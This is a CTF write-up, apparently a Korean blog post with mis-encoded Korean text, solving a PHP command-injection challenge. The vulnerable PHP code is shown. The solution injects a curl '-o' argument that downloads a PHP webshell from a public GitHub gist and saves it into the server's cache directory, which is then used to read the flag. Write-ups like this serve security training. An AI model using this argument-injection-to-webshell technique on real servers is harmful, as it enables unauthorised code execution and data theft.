[2025-07-26] Command Injection advanced

๐Ÿฆฅ ๋ณธ๋ฌธ

  • index.php
<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>

$_GET[โ€™urlโ€™]์„ ํ†ตํ•ด url์„ ๋ฐ›๋Š” ๋ฐ, http๋กœ ์‹œ์ž‘ํ•˜๋ฉด die()๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

escpaeshellcmd๋ฅผ ํ†ตํ•ด ์ธ์ ์…˜์„ ๋ณดํ˜ธํ•˜๊ณ  curl ์„ ํ†ตํ•ด ์…ธ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์‹œํ‚จ๋‹ค. ํ•ด๋‹น url์€ cache ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ์— ํ•ด์‹ฑํ•˜์—ฌ ์ €์žฅํ•œ๋‹ค.

ํ’€์ด

-o ์ธ์ž๋ฅผ ํ†ตํ•ด ์›น์…ธ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜์—ฌ ์‹คํ–‰ํ•ด์•ผ FLAG ํŒŒ์ผ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

  1. ์›น์‰˜ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ ์„œ๋ฒ„๋ฅผ ๋งŒ๋“ฆ
  2. ํ•ด๋‹น ์›น์‰˜ ์ฝ”๋“œ๋ฅผ ๋ฐฉ๋ฌธํ•˜๊ณ  -o ์ธ์ž๋ฅผ ํ†ตํ•ด ์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ์ €์žฅ
  3. ํ•ด๋‹น ํŒŒ์ผ์— ์ ‘๊ทผํ•˜์—ฌ flag ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์€ ์„œ๋ฒ„๊ฐ€ ์žˆ์–ด์•ผ ํ•ด์„œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ• Github raw file ๋งํฌ๋ฅผ ์ด์šฉํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

github raw file ๋งํฌ๋Š” ์‘๋‹ต body์— ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ๋ณด๋‚ด์ค˜์„œ ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋Š” ํŒŒ์ผ์ด๋‹ค.

  1. ์›น์‰˜ ์ฝ”๋“œ๋ฅผ ์‘๋‹ต ๋ฐ”๋””๋กœ ๋ณด๋‚ด๋Š” gitraw file ๋งํฌ
https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php
  1. ํ•ด๋‹น ๋งํฌ์—๋‹ค ์•„๋ž˜์˜ ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ webshell.php ํŒŒ์ผ์„ ๋งŒ๋“ ๋‹ค
-o /var/www/html/cache/webshell.php
  1. cache/webshell.php์— ์ ‘์†ํ•˜์—ฌ ์›น์‰˜ ์ฝ”๋“œ์— /flag ์— ์ ‘๊ทผํ•˜์—ฌ flag๋ฅผ ํš๋“ํ•œ๋‹ค.

Categories:

Updated:

Leave a comment